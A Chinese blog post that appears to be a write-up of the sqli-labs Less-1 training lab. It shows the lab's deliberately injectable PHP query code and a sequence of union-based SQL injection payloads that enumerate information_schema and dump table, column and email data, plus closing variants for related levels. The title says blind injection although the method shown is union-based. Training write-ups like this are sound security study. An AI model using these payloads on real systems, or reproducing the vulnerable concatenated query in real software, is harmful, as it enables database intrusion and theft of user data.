Less-1-布尔盲注

环境源代码

 1 <?php
 2 //including the Mysql connect parameters.
 3 include("../sql-connections/sql-connect.php");
 4 error_reporting(0);
 5 // take the variables
 6 if(isset($_REQUEST['id']))
 7 {
 8 $id=$_REQUEST['id'];
 9 //logging the connection parameters to a file for analysis.
10 $fp=fopen('result.txt','a');
11 fwrite($fp,'ID:'.$id."\n");
12 fclose($fp);
13 
14 // connectivity 
15 
16 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
17 //    echo $sql;
18 //    echo "</br>";
19 $result=mysql_query($sql);//这是返回sql查询的结果
20 $row = mysql_fetch_array($result);
21 
22     if($row)
23     {
24         echo "<font size='5' color= '#99FF00'>";
25         echo 'Your Login name:'. $row['username'];
26         echo "<br>";
27         echo 'Your Password:' .$row['password'];
28         echo "</font>";
29     }
30     else
31     {
32     echo '<font color= "#FFFF00">';
33     print_r(mysql_error());
34     echo "</font>";  
35     }
36 }
37     else { echo "Please input the ID as parameter with numeric value";}
38 
39 ?>

get请求,接收变量id,并赋值给result.txt文件,然后执行sql 

"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
将id的值直接赋值给sql语句中的参数。
前端打印username列和password列。

SQL利用特性

1、正常查询,id赋值>0的正整数,比如id=1时,根据SQL匹配id=1的用户信息返回到前端

2、MySQL语法错误提示,直接打印到前端,比如id=1',时,SELECT * FROM users WHERE id='1‘’ LIMIT 0,1,会报错,能够凭此确认SQL发生了不闭合:

image

3、MySQL语法闭合尝试,MySQL两种注释可以忽略后边的内容(-- - 或者#),由于是通过http传递,需要注意url编码

RFC3986 协议对 URL 的编解码问题做出了详细的建议,指出了哪些字符需要被编码才不会引起 URL 语义的转变, 以及对为什么这些字符需要编码做出了相应的解释。

      RFC3986 协议规定 URL 只允许包含以下四种字符:
      1、英文字母(a-zA-Z)
      2、数字(0-9)
      3、-_.~ 4个特殊字符
      4、所有保留字符,RFC3986 中指定了以下字符为保留字符(英文字符): ! * ' ( ) ; : @ & = + $ , / ? # [ ]

 

image

 

基于以上逻辑,id= 3‘ %23 或,id=3 -- -可以实现SQL闭合

image

 4、MySQL语法托库

判断查询结果的字段梳数量:id=3' order by 3 -- -

确定字段数量执行联合查询,并显示到前端:id=-3' union select 1,2,3 -- -

按照显示占用位输出关键信息:id=3' union select 1,database(),3 -- -

利用SQL特性查询该数据库中的表:id=-3' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- -

利用SQL特性查询表字段:id=-3' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name="emails")-- -

根据SQL特性查询到数据:id=-3' union select 1,2,(select group_concat(id,0x3a,email_id) from emails)-- -

image

 4、SQL解析

(select group_concat(table_name) from information_schema.tables where table_schema=database())

 

information_schema 是MySQL自带元数据库,相当于数据库的总字典,记录所有库、表、列的元信息,不存储业务数据。table_schema表所属的数据库名(库名),table_name表的名字,table_type表类型

 

database()MySQL 内置函数,返回当前正在使用的数据库名字(就是 web 应用连接的那个库)。MySQL 内置函数,返回当前正在使用的数据库名字(就是 web 应用连接的那个库)。

 

GROUP_CONCAT()MySQL 聚合函数,把多条行结果拼接成 1 个字符串,用逗号分隔。

 

image

 

image

其他盲注

less1.1:id= 3') -- -
$sql="SELECT * FROM users WHERE id LIKE ('%$id%')";

less2:id = 3 -- -

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
less3:id= 3') -- -
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
less4:id=3") -- -
$sql="SELECT * FROM users WHERE id=(\"$id\") LIMIT 0,1";
posted @ 2026-09-03 20:25  林涧汀溪  阅读(14)  评论(0)    收藏  举报